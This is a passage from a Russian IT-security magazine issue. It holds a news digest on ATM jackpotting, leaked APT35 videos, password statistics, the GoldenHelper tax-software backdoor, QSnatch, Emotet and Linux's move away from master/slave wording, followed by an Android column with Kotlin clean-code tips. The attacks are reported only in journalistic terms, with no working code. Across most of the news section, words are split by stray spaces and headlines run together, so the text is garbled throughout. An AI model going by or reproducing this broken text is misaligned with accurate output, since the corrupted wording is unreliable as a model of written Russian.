чивш ись к машине, зло умышл енник и попр осту отда ют бан комату коман ду
на «высв обож дение» налич ных из касс ет, в которых те хра нят ся.
Diebold Nixdorf сообщ ает, что пока новые атак и при меняю тся тольк о про‐
тив банк оматов модели ProCash 2050xe, к которым злоу мыш ленни ки под клю‐
чают ся через пор ты USB. Комп ания объя сня ет:
«Во врем я недавн их инцид ен тов зло умыш ленни ки соср едоточ или свои
уси лия на улич ных сист емах. Они раз рушаю т част и лицевой панели,
чтоб ы получить физичес кий дост уп к глав ному отдел ению. Затем они
отсо един яют USB-кабель, соедин яющий дис пенсер CMD-V4 и спе-
циаль ную элект ро нику, или кабель межу спец иаль ной элект рон икой
и компью те ром бан комата. Этот кабель под клю чаетс я к „чер ному ящи-
ку“ зло умышл енни ков для отправк и команд на выдачу наличн ых».
Одн ако не это само по себе привл екло вним ание спец иалист ов. Дело в том,
что обыч но для взаи мо дейс твия с комп онент ами бан комата злоу мышл енни ки
использ уют мал варь или собс твенн ый код, но теперь хакеры, похоже, заполу‐
чили копию легитим ного ПО (прош ивк и) бан коматов, которое уста новил и
на свой «чер ный ящик» и исполь зовали для взаи мо дей ствия с машина ми.
По ка расс лед ова ние инцид ен тов еще прод ол жает ся, но в Diebold Nixdorf
счи тают, что хакеры мог ли подк лю чить ся к какому‐то бан комату и обнар ужить,
что его ПО хран илось на незашиф рован ном жест ком дис ке.
Изд ание ZDNet ссыл ает ся на собст венн ые источник и в банк овс кой сфе ре
и сооб щает, что пред упр ежде ние, опубл икован ное прои звод ител ем, нап‐
рямую связ ано с рас сле дова нием ряда джекп оттин говых атак, про изош едш их
в Бельг ии в июне — июле 2020 года. Эти ата ки (два случ ая стран ного джек‐
поттинг а) вынуди ли бель гийский банк Argenta при оста новить работу 143 бан‐
коматов. Прич ем мес тные СМИ писали, что были ата кова ны исключ ительн о
устрой ства Diebold Nixdorf.
Спец иалист по банк ов ско му фрод у из ком пании Telefonica Мануэ ль Пин таг
(Manuel Pintag) сооб щил журн алист ам, что такой метод взло ма банк оматов
в целом не уни кален, хотя рань ше он встреч ал ся не в стра нах Европ ы, а в
Латин ской Аме рике.
1 400 000 ДОЛЛАРОВ СОБРАЛ НА KICKSTARTER
FLIPPER ZERO
В кон це июля на Kickstarter старт овала кам пания по сбор у средств для «хакер ско го тамагоч и»
Flipper Zero. Для запуск а про изводст ва устройс тв тре бова лось соб рать 60 000 дол ларов, и те,
кто про чил прое кту неудач у, явно ока зались неп равы. Иском ая сум ма была собр ана за счи‐
таные минуты пос ле старт а кам пании, а устройс тва за 99 долл аров разоб рали момент альн о.
В нас тоящий момент про ект уже привл ек больш е 1 400 000 долл аров. Согл асно «дорож ной
карт е» кам пании, это озна чает, что устройс тва будут дос тупны в новом цве те и оснащ ены Blue‐
tooth и NFC. Пер вые пос тавки устройс тв ожид ают ся в феврале 2021 года.
40 ГБАЙТ ХАКЕРСКИХ
ВИДЕО
Одн а из наибо лее извес тных групп ировок иран ских «прав ительс твенн ых»
хакеров — APT35 (она же Charming Kitten, Phosphorous и NewsBeef) допус‐
тила серье зную ошибк у, непр авильн о нас трои в один из сво их сер веров.
Из‐за это го сер вер три дня был дос тупен любому жела юще му, и сот рудни ки
IBM X‐Force обна ружил и на нем окол о 40 Гбайт видео и дру гих фай лов, про‐
лива ющих свет на «работу» груп пы.
На серв ере хак‐групп ы хра нились и похищен ные у целей данн ые
Ис след оват ели счи тают, что некото рые из най денн ых ими видео предс тав‐
ляют собой учеб ные пособия, которые груп пировк а исполь зует для обуч ения
нович ков. Так, записи были сдел аны с помощью спец иальн ого при ложен ия
BandiCam, то есть эти видео появи лись не случ айн о, и хакеры не зарази лись
сво им собст вен ным вред онос ным ПО (да, истор ия зна вала и такие случ аи).
BandiCam и рабочий стол одног о из авто ров хак‐видео
Ро лики демонст ри руют, как иранс кие хакеры выполн яют самые разн ые
задачи, вклю чая пошагов ый взлом аккау нта жер твы с исполь зование м
заранее под готовл енно го списк а учет ных дан ных. Основны ми целями взлом‐
щиков выс тупали чужие поч товые ящи ки, но так же взлам ывал и и учет ные
записи в социа ль ных сетях, если были дост упны ском про мети рован ные учет‐
ные дан ные.
Анал итик и IBM X‐Force отме чают дотош ность злоу мыш ленни ков: те
получа ют дос туп букв аль но к кажд ой учет ной записи жерт вы, незави симо
от того, нас коль ко нез начите лен тот или иной про филь. В итог е взло му под‐
верга лось все: сер висы потоко вой передач и видео и музыки, дос тавка пиц‐
цы, сер висы финанс овой помощи студ ент ам и муници паль ных комм унальн ых
услуг, банк инг, аккау нты в виде оигр ах, учет ные записи опер атор ов связ и...
Сумм арно опер ато ры APT35 попытал ись ском про мети ровать акка унты
как минимум на 75 раз личных сай тах, взлам ывая все го двух человек. Если
взлом удав ал ся, хакеры загл ядыва ли в наст рой ки учет ной записи и искал и
там любую лич ную информац ию, которая отсутст вов ала в дру гих аккау нтах,
что бы в ито ге сост авить макс ималь но подр обный про филь для каж дой жер‐
твы.
Экс пер ты не сооб щают, как имен но хакеры получил и учет ные дан ные сво‐
их целей. Возм ожно, польз овател и были заранее заражен ы мал варью,
которая похища ла пароли, а может быть, учет ные дан ные были попр осту куп‐
лены на черн ом рынк е.
В дру гих виде оро ликах хак‐груп пы демонст рир ует ся поэтапн ое хищение
дан ных из каж дой учет ной записи. В том числ е экспорт всех конт актов, фотог‐
рафий и докумен тов из облачных хран илищ, таких как Google Drive. В некото‐
рых случ аях зло умыш ленни ки даже обращ ались к ути лите Google Takeout, что‐
бы извлечь все содер жимое чужого аккау нта Google, вклю чая истор ию мес‐
тополо жений, дан ные из Chrome и свя зан ных устройс тв на базе Android.
В кон це, когд а все остальн ое сде лано, хакеры добавл яли учет ные дан ные
элек тронн ой поч ты жерт вы в Zimbra, что позв оляло им удал ен но кон трол иро‐
вать сраз у нес кольк о учет ных записей из одной бэкенд‐панели.
→Продолжение статьи
← Начало статьи
По мимо это го, были обнар уже ны видео, на которых чле ны APT35 созд ают
спец иальн ые учет ные записи элек тронн ой почт ы. Исслед ова тели счи тают, что
хакеры восп ольз уют ся эти ми акка унта ми в будущих опер ация х.
Эк спер ты пишут, что им удал ось иден тифици ровать и уве домить о ком про‐
мета ции неск ольк о жертв злоу мыш ленни ков, которых хакеры взла мыва ли
на видео, в том числ е воен нослу жащег о ВМС США, а так же офи цера ВМС
Гре ции. На видео попали и неудачн ые попытк и получить дост уп к учет ным
записям чинов ников из Госд епар тамен та США, взлом у которых помешал а
двухф актор ная аутент ифика ция.
НЕНАДЕЖНЫЕ ПАРОЛИ
Тур ецк ий студ ент и незави симый исслед ова тель Ата Хак чел (Ata Hakçıl) прод елал титанич еск ую
работу, изу чив более 1 000 000 000 логинов и паролей. Столь огромный дамп для анал иза он
собр ал из открыт ых источни ков: все эти данн ые когд а‐то утек ли в сеть в резуль тате ИБ‐инци‐
дент ов. Иссле дова тель при водит мно жес тво инте рес ных стат ис тичес ких данн ых.
В под борке удал ось выявить 168 919 919 уник аль ных паролей и 393 386 953 имен и поль‐
зовател ей.
Как оказ алось, более 7 000 000 из них — это пароль 123456 (кажд ый сто сорок втор ой
пароль, встре чаетс я в 0,722% случ аев).
Средн яя длин а пароля сост авляе т 9,48 сим вола, хотя ИБ‐экспер ты обыч но рекоменд уют
исполь зовать более длинн ые пароли (от 16 до 24 сим волов).
Слож ность паролей тоже ока залась пробл емой, пос коль ку лишь 12% паролей от обще го числ а
содер жат хотя бы один спец иаль ный сим вол.
В подавл яющем боль шинст ве слу чаев польз овател и выбираю т макс имальн о прост ые пароли:
исполь зуют толь ко букв ы (29%) или толь ко циф ры (13%).
Прим ер но 42% всех паролей уяз вимы для баналь ных сло вар ных атак и перебо ра.
1000 самых рас простран енн ых паролей — это при мерн о 6,607% от всех изу чен ных паролей.
34,41% всех паролей закан чива ются цифр ами, но толь ко 4,522% паролей начинаю тся
с цифр.
ВТОРОЙ КИТАЙСКИЙ
БЭКДОР
В июне 2020 года спец иалист ы комп ании Trustwave рас сказ али, что неназ‐
ванный китайс кий банк вынуж дал запад ные ком пании уста нав ливать офи‐
циальн ое налого вое ПО, содер жащее бэк дор GoldenSpy. Выз вавшая подоз‐
рения экспер тов прогр амма называ лась Intelligent Tax и была раз работан а
подр азде лени ем Golden Tax, отно сящимс я к Aisino Corporation, спец иальн о
для упла ты мест ных налогов.
Вско ре посл е пуб ликации отче та эксперт ов стал о извест но, что бэкд ор
GoldenSpy был ти хо уда лен из прогр аммы.
Теп ерь же спец иалист ы Trustwave сообщ ают, что GoldenSpy оказ алс я
не перв ым. Так, исслед оват ели обна ружи ли, что в друг ом налогов ом ПО,
Golden Tax Invoicing Software (Baiwang Edition), скрыв алась мал варь Golden‐
Helper. Дан ную прогр амму зарегист ри рован ные в Китае ком пании обяз аны
устан авл ивать, так как она необх одима для выст авле ния сче тов и упла ты
налогов на добавл енную стои мость (НДС).
Данн ое ПО тоже было свя зано с под разде лени ем Aisino Corporation: Gold‐
enHelper оказ ал ся подп исан цифр овой подп исью с использ овани ем
доверен ного сер тификат а, выдан ного NouNou Technologies — дочер ней ком‐
пании Aisino Corporation. При этом в наст оящее врем я в Китае тольк о два
офи циаль ных пос тавщик а налогов ых прогр амм: Aisino и Baiwang. И вред онос‐
ный код GoldenHelper был обнар ужен в прогр амме авторст ва Baiwang.
За путанн ые отно шения меж ду китайс ки ми ком пани ями
Иног да прогр амма пост авля лась отдельн о, но некотор ые польз овате ли
заяви ли, что в их вер сии Windows 7 Home Edition сра зу была уста новл ена
(скрыт ая) копия GoldenHelper.
В целом GoldenHelper похож на GoldenSpy и тоже предс тав ляет собой
опас ный бэкд ор. Так, он может устан авл иватьс я в сист ему без сог ласия поль‐
зовател я, повышать при виле гии до уров ня SYSTEM, а затем заг ружать и уста‐
нав ливать на зараженн ую машину допол нительн ые пей лоады. При этом мал‐
варь обхо дит защит ный механизм User Account Control в Windows, который
обычн о про сит польз овате ля выдать конк рет ному ПО разр ешения на уста‐
нов ку друг их прог рамм и внес ение изме нений в сис тему.
Эк сперт ы расс каз ываю т, что GoldenHelper исполь зует SKPC.DLL для вза‐
имо дейс твия с Golden Tax, WMISSSRV.DLL для повыше ния при вилег ий и файл
.DAT со слу чайн ым име нем для выбора и запус ка про извольн ого кода с при‐
вилег иями SYSTEM. Основная цель этой мал вари закл юча ется в том, что бы
загр узить и запус тить taxver.exe, но спе циалист ы не смог ли най ти акту альн ый
обра зец факт ическ ой полез ной наг рузки.
Дел о в том, что кам пания GoldenHelper была активна в 2018–2019 годах, а в
наст оящее врем я, похоже, уже завер шилась. Час тота обнар уже ния обра зов
мал вари, задейс тво ван ных в этой камп ании, возр осла в середи не 2019 года,
и это, по всей видимост и, вынудил о хакеров сверн уть опер ацию, а сро ки
регис тра ции доменов управля ющих сер веров истекли еще в
начале 2020 года.
В целом GoldenHelper был спо собен:
• исп ольз овать слу чай но сге нерир ован ные име на файл ов;
• ге нери ровать случ ай ные врем енн ые мет ки creation и last write;
• заг ружать исполня емые файл ы с использ ование м под дельн ых имен фай‐
лов с расш ирени ями .gif, .jpg и .zip;
• исп оль зовать DGA на осно ве IP, что бы на лету изме нять адрес управля‐
ющег о сер вера.
Хо тя иссле дова телям не удал ось доказать, что taxver.exe — это дейс тви тель‐
но мал варь, они отме чают, что легитим ное ПО обыч но не обход ит средст ва
защиты Windows для повышен ия прив иле гий, не ранд омизи рует свое мес‐
тополо жение, не скрыв ает свое имя, не пыта ется вно сить измен ения в записи
DNS и так далее.
Экс пер ты Trustwave резюмир уют, что GoldenHelper, очев ид но, был пред‐
шес твенн иком GoldenSpy:
«За кам пание й GoldenHelper пос ледова ла GoldenSpy, и мы не сом-
нева емся в том, что эта угро за прод олж ит эвол юци онир овать в новую
методо логию, нацелен ную на предп ри ятия, работаю щие в Китае».
62 000 QNAP NAS ПОД АТАКОЙ
Мал варь QSnatch, появив шаяся на свет еще в 2014 году, лишь в пос ледний год ста ла пред став‐
лять реаль ную угро зу. QSnatch сочета ет в себе фун кцио нальн ость бэк дора и инфостил ера
и атак ует устройс тва Qnap NAS.
Осенью 2019 года сооб щалось, что вре донос заразил 7000 устрой ств в одной тольк о Гер‐
мании, но по сост оянию на середин у июля 2020 года чис ло ата кованн ых NAS по все му миру
пре выси ло 62 000. Эксперт ы CISA и NSCS сооб щают, что при мерн о 7600 зараженн ых устрой‐
ств находят ся в США и око ло 3900 в Великоб ритании.
Ком пания QNAP давн о объ ясни ла, как обе зопас ить устрой ства от атак QSnatch, и при зывае т
польз овате лей и админ ис трат оров пред при нять необ ходимые для защиты меры.
EMOTET СНОВА
В СТРОЮ
Один из наибо лее активных бот нетов 2019 года — Emotet не подавал поч ти
никаких призн аков жиз ни с февр аля текущег о года. Но в июле ИБ‐эксперт ы
пре дупр едили, что Emotet вер нулся в строй с новой спам‐камп ани ей.
Но вая кам пания нацеле на пре имущ ес твен но на польз овател ей из США
и Великобр итании, а письм а‐при ман ки написан ы на англий ском язы ке. Пос‐
лания зло умышл енни ков содерж ат либо докумен ты Word, либо URL‐адрес а,
ведущие к загр узке таких файл ов (обыч но раз меща ющихс я на взло ман ных
сайт ах на базе WordPress). Подоб ные документ ы опас ны из‐за вре донос ных
мак росов, которые (если они вклю чены), в итог е прив одят к заг рузке и уста‐
нов ке Emotet.
По наб людав за мал варью, ИБ‐спец иалис ты пришл и к выводу, что бот нет
смен ил основную полезн ую наг рузку и теперь расп ростран яет банк ов ский
тро ян QakBot (QBot), который приш ел на смен у обыч ному для бот нета
TrickBot.
Впро чем, пейл оады Emotet менялись и раньш е, и, скор ее все го, ори‐
гинальн ый тан дем Emotet — TrickBot вскор е тоже вер нется в строй. Дело
в том, что иссле дова тели называю т TrickBot и QakBot пред почтит ельн ыми
парт нер ами для Emotet, так как все три групп ировк и вход ят в одно рус ско‐
языч ное сооб щес тво и давн о обща ются меж ду собой.
Кро ме того, вре донос обза вел ся новой функ цио нальн остью: начал
похищать списк и кон тактов, содер жимое и вло жения из писем сво их жертв,
что бы рас сылае мый спам выг лядел как можн о аутент ичнее для след ующих
получа телей.
Но вая так тика позв оля ет опер атор ам Emotet эффектив но исполь зовать
перех ваченн ые элек тронн ые письм а и «вклю чать ся» в разг оворы польз овате‐
лей. То есть вре донос ный URL‐адрес или вло жение в ито ге будут выг лядеть
как новые сообщ ения в уже иду щей диск уссии. Прич ем, в отлич ие от дру гих
зло умышл енник ов, опер ато ры Emotet использ уют не тольк о само «тело» укра‐
денн ых посл аний, но и влож ения из них.
Инт ерес но, что при этом работу акти визир овав шегося бот нета саботи‐
руют неизв ес тные добр ожелат ели, которые подм еняю т полезн ые нагр узки
Emotet аним иро ван ными фай лами GIF, эффектив но пре дот вра щая заражен ие
жертв. Неясн о, кто именн о сто ит за этой акцие й, это могут быть как кон‐
куриру ющие хак‐груп пы, так и неиз вес тный ИБ‐спец иалист.
Из‐за это го в 20‐х числ ах июля окол о чет верти всех пейл оадов Emotet
были подм енены гиф ками, что вызв ало знач итель ное сниж ение активнос ти
бот нета.
Та кой саботаж стал возм ожен благ одар я тому, что полез ные наг рузки бот‐
нет разм ещае т пре имущ ест венн о на взло манн ых сай тах на базе WordPress,
дост уп к которым опер ато ры Emotet получа ют через веб‐шел лы. Ранее
эксперт ы уже обнар ужив али, что злоу мышл енник и исполь зуют для этих целей
решения с откры тым исходным кодом, а такж е прим еняю т оди нако вый пароль
для всех веб‐шел лов, тем самым подв ергая свою инфраструкт уру рис ку.
Те перь же, судя по все му, кто‐то сумел узнать тот самый пароль, оди нако‐
вый для всех веб‐шел лов, и не прем инул этим восп оль зовать ся. Эти «доб рые
самари тяне» заменя ют полез ные нагр узки Emotet на взлом анн ых WordPress‐
сайт ах ани миро ван ными файл ами GIF. Фай лы они обыч но берут с Imgur
или Giphy.
НАСИЛИЕ И СТАЛКЕРСКОЕ ПО
Ана лити ки ком пании Avast пред уп редили, что в пери од каран тина, с мар та по июнь 2020 года,
исполь зование шпи онских прог рамм (в том чис ле и тех, которые устан ов лены незамет но
от поль зовате ля) в мире уве личил ось на 51% по срав нению с январ ем — февр алем 2020 года.
В Росс ии с март а 2020 года Avast защитил от stalkerware более 1094 польз овател ей.
Увы, этот печальн ый тренд не огран ичи вает ся Рос сией: Avast защитил а от stalkerware более
43 000 польз овате лей по все му миру. Нап ример, в Соедин енн ых Шта тах подоб ные прогр аммы
были нацелен ы на 3531 польз овател я, 1648 во Фран ции и 3048 в Браз илии.
Эк спер ты Avast Threat Labs отмеч ают кор реляцию активност и stalkerware с рос том физическ ого
насилия в семь ях во вре мя каран тина. Напр имер, дирек тор кри зисн ого цен тра «Анна» в Рос сии
сооб щила, что в март е пос тра дав шие от домашн его насилия обра щались в криз ис ные цен тры
чаще на 25%. В мае 2020 года количест во звон ков на все рос сий ский телефон доверия
для женщ ин выросл о на 74% по срав нению с фев ралем.
Ис полни тель ный директ ор «ООН‐женщ ины» Фум зиле Млам бо‐Нгку ка и вовс е наз вала прои схо‐
дящее «теневой эпид емие й» коронав иру са.
РАБСТВО В LINUX
В прош лом месяце мы рас ска зыва ли о том, что под влия нием про тест ов
Black Lives Matter, про кативш ихся по всей терр итории США (и не толь ко), IT‐
сообщ ес тво вер нулось к обсужде нию вопр осов неумес тной и оскорби тель‐
ной тер миноло гии. В наст оящее врем я мно гие раз работ чики прил агаю т уси‐
лия, что бы уда лить подобн ые тер мины из сво его исходно го кода, при ложен ий
и онлайн‐сер висов.
По добн ые изме нения обычн о вклю чают в себя отказ от исполь зования
тер минов master и slave («хозяи н» и «раб») в поль зу таких аль терн атив,
как main, default, primary и, соот ветс твен но, secondary. Такж е усто явши еся
понятия whitelist и blacklist, то есть черн ый спис ок и белый спис ок, заменяю т
на нейт ральн ые allow list и deny/exclude list («спи сок разр ешений» и «спис ок
запр етов/исклю чений»).
К прим еру, о намерен ии подыс кать аль терн ативы для whitelist/blacklist
в посл еднее вре мя сооб щили раз работ чики Android, язык а прог рамми рова‐
ния Go, биб лиотек и PHPUnit и ути литы Curl. В свою оче редь, автор ы про екта
OpenZFS уже работаю т над заменой терм инов master/slave, использ ующих ся
для опис ания свя зей межд у сред ами хран ения.
Такж е в начале июля об изме нени ях такого рода сообщ или разр абот чики
комп аний Microsoft, LinkedIn, Google и Twitter. Все они обе щали измен ить тех‐
ничес кий язык сво их прод укт ов и инфраструкт уры и изба витьс я от слов врод е
master, slave, blacklist, whitelist.
Сто ит отдельн о отмет ить, что комп ания Twitter пош ла даль ше друг их и соч‐
ла некор рек тным использ ование даже таких тер минов, как man hours
(«челове ко‐часы»; предл ага ется заменить на «пер соно‐часы») или sanity
check («про вер ка работосп особн ости» или, в друг ом конт екс те, «санитар ная
про вер ка»; пред лагае тся заменить на «быст рую про вер ку», так как сло во sani‐
ty в английс ком язык е может относ ить ся и к пси хическ ому здор овью, а терм ин
может читатьс я как «про вер ка на вме няемость»).
В прош лых материа лах мы уже упо мина ли о том, что раз работ чики Linux
тоже не остал ись в сто роне и обсужде ние инклю зив ной терм иноло гии велось
уже довольн о дав но. Как ста ло извест но в середи не июля, воп рос наконец
был решен: Линус Тор вальд с сдел ал соот ветс твую щий ком мит и утвердил
новую полити ку про екта в отнош ении офор мле ния кода в вет ке ядра Linux 5.8
(хотя изнач альн о измен ения пред лагалось внест и в вет ку 5.9).
Третья редак ция тек ста была одобр ена 21 извес тным раз работ чиком
ядра, вклю чая член ов Linux Foundation. В ито ге было решено отка затьс я
от исполь зования таких понятий, как master/slave и blacklist/whitelist, а такж е
не исполь зовать сло во slave отдельн о.
Ожи дает ся, что новые пра вила будут прим енять ся к новому коду,
а ревизию стар ого пока пров одить не пла ниру ют, хотя разр абот чики
не исклю чают, что в ито ге переи мен ова ние зат ронет и немалую часть сущес‐
твую щег о кода. Устар евш ие терм ины раз решено исполь зовать лишь в случ ае
необх одимос ти.
В разл ичных кон тек стах тер мины master/slave теперь рекоменд овано
заменять след ующи ми ана лога ми:
• primary, main/secondary, replica, subordinate;
• initiator, requester/target, responder;
• controller, host/device, worker, proxy;
• leader/follower;
• director/performer.
В свою очер едь, тер мины blacklist/whitelist советую т заменять более ней‐
траль ными верс иями:
• denylist/allowlist;
• blocklist/passlist.
ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Twitter МИД РФ взло мали. Он рекл амиров ал прод ажу БД с данн ыми рос сиян
Об наружен а связь меж ду китайс кой хак‐групп ой и обо ронн ым под рядчик ом
Сот рудник Yahoo, шпио нивш ий за поль зовател ями, избеж ал тюрьм ы
Google открыл а исходный код ска нера уязв имос тей Tsunami
Рос сийс кий хакер, взлом авш ий Dropbox и LinkedIn, призн ан винов ным
Атак а BadPower может заст авить устрой ства загореть ся
Тыс ячи БД пос тра дали от мяу‐атак и
Сти вен Воз няк подал в суд на YouTube из‐за крипт овалютн ых мошен ников
Сер висы ком пании Garmin отклю чились в результ ате атак и шиф ровальщ ика
Уязв имость BootHole угро жает сис темам, исполь зующим GRUB2 и Secure Boot
HEADER
ANDROID
НОВЫЕ ЗАПРЕТЫ
И ЧИСТЫЙ КОД
НА KOTLIN
Се годн я в выпуск е: ответ ы Android engi‐ Евгений Зобнин
neering team на вопр осы польз овате лей Редактор Unixoid и Mobile
Reddit, запр ет на дост уп к сто ронн им при‐
ложен иям в новых вер сиях Android, спо соб [email protected]
пре дот вра тить клон иро вание прил ожен ия,
множ ес тво советов, как писать чис тый код
на Kotlin, рас сказ о функ ции with из уст раз‐
работ чиков Koltin, польз а и вред фун‐
кций‐расш ирений. А так же: очер ед ная пор‐
ция библ иотек и инс тру мент ов пен тестер а.
ПОЧИТАТЬ
Разработчики Android отвечают на вопросы
Android engineering team QA — еже годн ая сес сия воп росов и отве тов коман‐
ды разр абот чиков Android на Reddit. Как обыч но, воп росы баналь ные, а отве‐
ты обтек аемые. Но есть неск оль ко интер есн ых момен тов.
1. С Android 11 про изво дите ли будут обяз аны сооб щать польз овател ям, что
их про шив ка может убить при ложен ие и не дать ему работать в фоне. Так‐
же в про шивк е дол жна быть возм ожность отключ ить такое поведе ние.
Кро ме того, про изво дител ям прид ет ся убрать из свои х про шивок белые
спис ки популярн ых прил оже ний, которые могут работать в фоне. В теории
все это дол жно смяг чить проб лему некор рект ной работы прил ожен ий
на китай ских смар тфо нах.
2. В Android 11 появил ся API, позв оляю щий узнать, почему при ложе ние было
заверш ено. Это опять же позв олит выяс нить, почему при ложе ние
на самом деле было завер шено и связ ано ли это с некор рек тным и дей‐
стви ями про шив ки.
3. В Android 11 появил ся сер вис I/O Read Ahead Process (IORap), который
выпол няет пред варительн ую заг рузку нуж ных прил оже нию ресурс ов и дан‐
ных во врем я стар та при ложен ия. Это дало при рост скор ост и холодн ого
запус ка в 5–20%.
4. Еще один интер есн ый API Android 11 — Data Access Auditing API, поз воля‐
ющий получить информац ию о том, какие при ват ные дан ные польз овател я
(мес тополо жение, кон такты и так далее) стан овят ся дост упны прил оже‐
нию. Это API для разр абот чиков, жела ющих выясн ить, обра щают ся ли сто‐
рон ние библ иотек и или legacy‐код к прив ат ным данн ым поль зовате ля.
Подр обнос ти — в бло ге Android Developers.
Запрет на доступ к приложениям
Package visibility in Android 11 — статья раз работ чиков Android о новом зап рете
Android 11, бла года ря котором у сто рон ние прил оже ния боль ше не смог ут
получать информац ию или запус кать любое устан овл енное на смарт фон при‐
ложен ие.
На помн ю, что до вер сии 11 Android пре дос тавлял вполн е офиц иаль ный API
для получен ия информа ции обо всех устан ов ленных на смар тфон прил оже‐
ниях (имя, верс ия, вре мя устан овк и и так далее) и не налагал никаких зап‐
ретов на запуск любых прил ожен ий. Этим польз овались не толь ко стор онн ие
менедж еры при ложе ний, панели быс трог о запуск а и друг ой полез ный софт,
но и раз ного рода мал варь и недобр осовес тные раз работ чики, слив ающие
информац ию на третью сто рону.
Нач иная с Android 11 сист ема будет огра ничив ать дост упный при ложе нию
спис ок уста нов ленных при ложен ий и обяж ет разр абот чиков перечисл ять при‐
ложен ия, с которым и прил ожен ие авто ра хочет конт актир овать, в манифест е:
<manifest package="com.example.game">
<queries>
<package android:name="com.example.store" />
<package android:name="com.example.service" />
</queries>
...
</manifest>
Кро ме самих при ложен ий, такж е можн о перечисл ить типы интентов, которые
собира ется исполь зовать при ложе ние (в след ующем прим ере прил ожен ие
заявл яет о сво ем намерен ии делитьс я изоб ражения ми с дру гими при ложе‐
ниями):
<manifest package="com.example.game">
<queries>
<intent>
<action android:name="android.intent.action.SEND" />
<data android:mimeType="image/jpeg" />
</intent>
</queries>
...
</manifest>
Эти треб ован ия будут расп ростра нять ся на все при ложен ия, соб ранные
для API 30 и выше (targetSdkVersion=30), и не косн утся уже сущест вую щих
при ложен ий, до тех пор пока в Google Play не будет введ ен минимальн ый уро‐
вень API 30.
Для лаун черов и дру гих при ложен ий, которым необ ходим дост уп ко всем
уста нов ленным прил ожен иям, пре дус мотрен о новое разр ешение QUERY_AL‐
L_PACKAGES. Но для его использ ования прид ет ся про ходить ручн ую пре‐
модер ацию.
РАЗРАБОТЧИКУ
Чистый код на Kotlin
Write fluent code in Kotlin — статья с совета ми о том, как сдел ать код на Kotlin
более понят ным для чтен ия.
1. Используй require и check
require(arg.length < 10) {
"message"
}
val result = checkNotNull(bar(arg)) {
"message"
}
/// вместо ///
if (arg.length < 10) {
throw IllegalArgumentException("message")
}
val result = bar(arg)
?: throw IllegalStateException("message")
2. Используй функции вместо комментариев
val user = getUser(id)
validate(user)
activate(user)
private fun validate(user: User) {
// код валидации
}
private fun activate(user: User) {
// код активации
}
/// вместо ///
val user = getUser(id)
/*
* Validate user
*/
// код валидации
/*
* Activate user
*/
// код активации
3. А лучше — функции-расширения
private fun User.validate(): User {
// код валидации
return this
}
private fun User.activate(): User {
// код активации
return this
}
...
val user = getUser(id)
.validate()
.activate()
4. Инфиксные функции делают код более легким для чтения
val x = mapOf(1 to "a")
val range = 1 until 10
val loop = listOf(...) zip listOf(...)
/// вместо ///
val x = mapOf(1.to("a"))
val range = 1.until(10)
val loop = listOf(...).zip(listOf(...))
Дел ай фун кции инфикс ным и, если:
• фун кция не имее т побочн ых эффектов;
• име ет прос тую логику;
• име ет корот кое имя;
• исп ольз ует ся в мест ах, где скоб ки будут мешать чтен ию.
5. Используй функции with, apply и also
...какой‐то код...
with(foo.id) {
LOGGER.info("id is $this")
doSomething() // method of id
doSomethingElse(this)
}
...какой‐то код...
/// вместо ///
...какой‐то код...
val id = foo.id
LOGGER.info("id is $id")
id.doSomething()
doSomethingElse(id)
...какой‐то код...
6. Не указывай тип там, где его можно не указывать
val x = "a"
override fun foo() = 1
/// вместо ///
val x: String = "a"
override fun foo(): Int = 1
Иск лю чения:
• воз вра щаемый фун кци ей тип слишк ом сложн ый, напр имер Map<Int,
Map<String, String>>;
• ког да вызывае шь функ ции, не имею щие nullable‐аннот ации (напр имер,
обыч ные фун кции Java).
7. Используй присваивание при создании функции, состоящей из
одного выражения
fun foo(id: Int) = getFoo(id)
.chain1()
.chain2()
.chain3()
.chain4 {
// лямбда
}
/// вместо ///
fun foo(id: Int): Bar {
return getFoo(id)
.chain1()
.chain2()
.chain3()
.chain4 {
// лямбда
}
}
8. Typealias упростит работу со сложными типами
typealias CustomerId = Int
typealias PurchaseId = String
typealias StoreName = String
typealias Report = Map<CustomerId, Map<PurchaseId, StoreName>>
fun(report: Report) = // ...
/// вместо ///
fun(report: Map<Int, Map<String, String>>) = // ...
9. Используй метки точности для уточнения типа присваиваемого
значения
val x = 1L
val y = 1.2f
/// вместо ///
val x: Long = 1
val y: Float = 1.2
10. Пользуйся подчеркиванием, чтобы сделать длинные числа
более читаемыми
val x = 1_000_000
/// вместо ///
val x = 1000000
11. Применяй интерполяцию строк, чтобы сделать их более
читаемыми
val x = "customer $id bought ${purchases.count()} items"
val y = """He said "I’m tired""""
/// вместо ///
val x = "customer " + id + " bought " + purchases.count() + " items"
val y = "He said "I’m tired""
12. Используй оператор ? для возврата управления
val user = getUser()
?: return 0
/// вместо ///
val user = getUser()
if (user == null) {
return 0
}
13. Применяй тип Sequence для оптимизации обработки очень
длинных списков (более 1000 элементов)
listOf(1).asSequence()
.filter { ... }
.map { ... }
.maxBy { ... }
/// вместо ///
listOf(1)
.filter { ... }
.map { ... }
.maxBy { ... }
14. Используй обратные кавычки при написании имен тестов
fun `test foo ‐ when foo increases by 3% ‐ returns true`() { ... }
/// вместо ///
fun testFoo_whenFooIncreasesBy3Percent_returnsTrue() { ... }
Kotlin и функция with
With the receiver in scope — замет ка Романа Ели заро ва из коман ды разр абот‐
чиков Kotlin о клю чевой фун кции with.
Предс тавь, что у тебя есть след ующий код:
applicationWindow.title = "Just an example"
applicationWindow.position = FramePosition.AUTO
applicationWindow.content = createContent()
applicationWindow.show()
Несм отря на кор рек тность и в целом удов летво ритель ную читае мость, код
выгл ядит гро мозд ким. Его дол го печатать, дол го читать, и лег ко допуст ить
ошиб ку (напр имер, если у тебя есть еще один объ ект с похожим на applica‐
tionWindow имен ем). Исполь зуя with, мы можем решить все эти проб лемы:
with(applicationWindow) { // this: ApplicationWindow
title = "Just an example"
position = FramePosition.AUTO
content = createContent()
show()
}
Этот код на две стро ки длинн ее, но он горазд о понят нее. Любой читаю щий
этот код человек сра зу видит, что все содерж имое фигурн ых скоб ок относ ит‐
ся к объе кту applicationWindow.
А самое интер ес ное, что столь полезн ый инст ру мент — это вовс е не часть
язы ка, не клю чевое сло во, а фун кция, сос тоящая всег о из одной стро ки:
fun <T, R> with(receiver: T, block: T.() ‐> R): R =
receiver.block()
По сути, эта функ ция прос то запуск ает весь код в бло ке в кон тек сте ука зан‐
ного объ екта, так же как это делаю т фун кции‐расш ирения.
И тут наз рева ет воп рос: если подоб ная фун кци ональн ость нас тольк о
